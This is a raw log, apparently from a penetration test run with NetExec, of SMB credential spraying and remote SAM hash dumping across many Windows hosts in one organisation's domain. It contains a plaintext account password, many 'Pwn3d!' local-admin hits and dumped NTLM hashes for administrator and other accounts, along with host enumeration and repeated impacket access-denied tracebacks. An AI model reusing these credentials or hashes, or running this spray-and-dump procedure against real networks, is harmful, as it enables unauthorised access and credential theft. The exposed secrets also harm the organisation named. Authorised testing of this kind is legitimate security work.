DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXOASP02017
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXOPMP02002 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOPMP02001 [*] Dumping SAM hashes
SMB [Link] 445 OXODBP02002
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:d816769c1dbc3082da92dc79496
4[Link]
SMB [Link] 445 6120C-112 [+] 6120C-112\
oxxo_pentest:p8Z49-#MX6?ki@ (Guest)
SMB [Link] 445 OXOASP02017
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXODBP02002 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXOSCCM02001
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:be1ff10272c4d51cbdf2c3c9cdf7088
[Link]
SMB [Link] 445 OXOASP02017
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:47f7206d1b9f5ec91f61e124d02
d[Link]
SMB [Link] 445 OXOASP02017 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXOPMP02002 [*] Dumping SAM hashes
SMB [Link] 445 OXOASD02001 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOSCCM02001
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXOASP02005 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXOPMP02001
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:0b82516e1265b42df7d77d6a250d8c7
[Link]
SMB [Link] 445 OXOSCCM02001
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXOPMP02001
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXOBSP02001 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOASD02001 [*] Dumping SAM hashes
SMB [Link] 445 OXOPMP02001
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXOPMP02002
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:fe4dc9c8f85c75ed9b9ab3607600d9d
[Link]
SMB [Link] 445 OXOSCCM02001
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:503ce6b40f049aea1dfe407eab4
7[Link]
SMB [Link] 445 OXOSCCM02001 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXOPMP02002
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXOPMP02001
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:86ad2b9a914d5f52168a10ab5c6
8[Link]
SMB [Link] 445 OXOPMP02001 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXOBSP02001 [*] Dumping SAM hashes
SMB [Link] 445 OXOASP02009 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOASP02010 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXOASD02001
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:e32f18e0abb84358a102ffcfff2b64d
[Link]
SMB [Link] 445 OXOPMP02002
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXOASD02001
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXOASP02009 [*] Dumping SAM hashes
SMB [Link] 445 OXOPMP02002
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:d54ffc46922d71d049f21418da9
f[Link]
SMB [Link] 445 OXOASP02024 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOPMP02002 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXOBSP02001
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:3d38c27d9b204e491ba1538dd1776c5
[Link]
SMB [Link] 445 OXOASD02001
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXOBSP02001
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXOBSP02001
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXOASP02009
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:96b2ecd9ad8c2ec25f3474173e49174
[Link]
SMB [Link] 445 OXOBSP02001
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:bf8890e8536fe025410c06adaa4
d[Link]
SMB [Link] 445 OXOBSP02001 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXOASP02009
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXOASD02001
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:59e01e7e2833a7556461ecb1e53
e[Link]
SMB [Link] 445 OXOASD02001 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXOASP02015 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOASP02009
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXOASP02009
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:2005003856c2cb204132ae11199
7[Link]
SMB [Link] 445 OXOASP02009 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXOASP02019 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020009 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXOBSP02002 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXXVSRV2001 [-] Connection Error: [Errno


104] Connection reset by peer
SMB [Link] 445 OXOASP02019 [*] Dumping SAM hashes
SMB [Link] 445 OXOASP02015 [*] Dumping SAM hashes
SMB [Link] 445 OXXVSRV2002 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOBSP02002 [*] Dumping SAM hashes
SMB [Link] 445 4005073-001 [-] 4005073-001\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 4004794-001 [-] 4004794-001\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 4005074-001 [-] 4005074-001\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 OXOASP02019
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0c27dcdaeb91fbe289d732694156f701
:::
SMB [Link] 445 4004832-002 [-] 4004832-002\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 4004353-007 [-] 4004353-007\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 4004832-001 [-] 4004832-001\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 4004353-001 [-] 4004353-001\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 4004795-001 [-] 4004795-001\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 OXBBALSCSRV01 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Guest)
SMB [Link] 445 L2-MLR [-] L2-MLR\oxxo_pentest:p8Z49-
#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 OXOASP02019
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXXVSRV2002 [*] Dumping SAM hashes
SMB [Link] 445 OXOBSP02002
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:a1a4b0682984648c9b13f5d45de820c
[Link]
SMB [Link] 445 OXOASP02019
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXOASP02015
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8f95e8a98837d3b6a26d62653016ab01
:::
SMB [Link] 445 L2-SV800-232 [-] L2-SV800-232\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 L2-SSK-003 [-] L2-SSK-003\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 L1-SERVER-PC [-] L1-Server-Pc\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 L3-MLR [-] L3-MLR\oxxo_pentest:p8Z49-
#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 L3-SERVER-PC [-] L3-SERVER-PC\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 L3-VPA1084-2 [-] L3-VPA1084-2\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 OXOBSP02002
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 L4-SERVER-PC [-] L4-SERVER-PC\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 L1-MLR [-] L1-MLR\oxxo_pentest:p8Z49-
#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 L2-SERVER-PC [-] L2-SERVER-PC\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 L-2090093059 [-] L-2090093059\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 L-2244778003 [-] L-2244778003\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 OXOASP02015
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 L-2100577031 [-] L-2100577031\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 L-2100577026 [-] L-2100577026\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 OXOASP02019
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:b3d363281c457c9237575f757a9
6[Link]
SMB [Link] 445 OXOASP02019 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 L-2100577021 [-] L-2100577021\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 L-2100577018 [-] L-2100577018\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 L-2100577015 [-] L-2100577015\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 L-2244778007 [-] L-2244778007\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 L-2090093031 [-] L-2090093031\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 OXXVSRV2002
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:4e40aa560406c5e78cb75a714293af6
[Link]
SMB [Link] 445 L-2090093021 [-] L-2090093021\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 OXOBSP02002
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 L-2090093035 [-] L-2090093035\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 SOSO-PC [-] soso-PC\oxxo_pentest:p8Z49-
#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 SOSO-PC [-] soso-PC\oxxo_pentest:p8Z49-
#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 OXOASP02015
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXXVSRV2002
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXOBSP02002
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:64ea1ddd9ad7ac17897c7cd8b54
f[Link]
SMB [Link] 445 OXOBSP02002 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXXKASTOSL01 [+] OXXKASTOSL01\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 HPCZJ5240FXG [-] HPCZJ5240FXG\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 OXXNSRV2001 [+] OXXNSRV2001\
oxxo_pentest:p8Z49-#MX6?ki@
SMB [Link] 445 OXOASP02015
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:1473ee17878e1e9a30244d7e196
2[Link]
SMB [Link] 445 OXOLT020017 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXOASP02015 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXXVSRV2002
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXXKASTOSL01 [*] Dumping SAM hashes
SMB [Link] 445 OXXVSRV2002
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:12500cafb9401e24637fa5ab174
6[Link]
SMB [Link] 445 OXXVSRV2002 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXXKASTOSL01
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9a366b3fead2e41b44e71b75cd28c200
:::
SMB [Link] 445 OXXKASTOSL01
Gast:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXXKASTOSL01
KASTO:1003:aad3b435b51404eeaad3b435b51404ee:c7875605d5ec3aba795f9f16f072[Link]
SMB [Link] 445 OXXKASTOSL01
reko:1006:aad3b435b51404eeaad3b435b51404ee:634deaeb3e692a1ad5604be37a2b[Link]
SMB [Link] 445 OXXKASTOSL01
dsi.oxxo_admin:1008:aad3b435b51404eeaad3b435b51404ee:e5538373ac8834fef3bb48546e0c0c
[Link]
SMB [Link] 445 OXXKASTOSL01
oxxo_pentest:1009:aad3b435b51404eeaad3b435b51404ee:e83e19aa4caedd3777928f050dfdd460
:::
SMB [Link] 445 OXXKASTOSL01 [+] Added 6 SAM hashes to the
database
SMB [Link] 445 CUMAX3 [-] CUMAX3\oxxo_pentest:p8Z49-
#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 CUMAX2 [-] CUMAX2\oxxo_pentest:p8Z49-
#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 CUMAX1 [-] CUMAX1\oxxo_pentest:p8Z49-
#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 OXODT02090006 [*] Windows 11 Build 22621 x64
(name:OXODT02090006) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020005 [*] Windows 11 Build 22621 x64
(name:OXODT020005) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020053 [*] Windows 11 Build 22621 x64
(name:OXOLT020053) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020060 [*] Windows 11 Build 22621 x64
(name:OXOLT020060) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020061 [*] Windows 11 Build 22621 x64
(name:OXODT020061) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020032 [*] Windows 10.0 Build 26100
x64 (name:OXOLT020032) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020026 [*] Windows 11 Build 22621 x64
(name:OXOLT020026) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020057 [*] Windows 11 Build 22621 x64
(name:OXODT020057) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020087 [*] Windows 11 Build 22621 x64
(name:OXOLT020087) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02030002 [*] Windows 11 Build 22621 x64
(name:OXODT02030002) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020066 [*] Windows 11 Build 22621 x64
(name:OXODT020066) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020064 [*] Windows 11 Build 22621 x64
(name:OXOLT020064) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020014 [*] Windows 11 Build 22621 x64
(name:OXOLT020014) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020036 [*] Windows 11 Build 22621 x64
(name:OXOLT020036) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020119 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT020119) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT02070008 [*] Windows 11 Build 22621 x64
(name:OXODT02070008) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02010002 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT02010002) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT020073 [*] Windows 11 Build 22621 x64
(name:OXODT020073) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02060007 [*] Windows 11 Build 22621 x64
(name:OXODT02060007) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02050001 [*] Windows 11 Build 22621 x64
(name:OXODT02050001) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020072 [*] Windows 11 Build 22621 x64
(name:OXODT020072) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020055 [*] Windows 11 Build 22621 x64
(name:OXOLT020055) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020090 [*] Windows 11 Build 22621 x64
(name:OXOLT020090) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02020002 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT02020002) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT02040013 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT02040013) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXOLT020067 [*] Windows 11 Build 22621 x64
(name:OXOLT020067) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02090006 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020017 [*] Windows 11 Build 22621 x64
(name:OXODT020017) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020005 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOLT020053 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOLT020060 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020061 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020005 [*] Dumping SAM hashes
SMB [Link] 445 OXOLT020032 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT020005


rootoxxo:500:aad3b435b51404eeaad3b435b51404ee:8d34de2a96b2d9c4a89478af030d[Link]
SMB [Link] 445 OXODT020005
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXODT020005
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied


[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

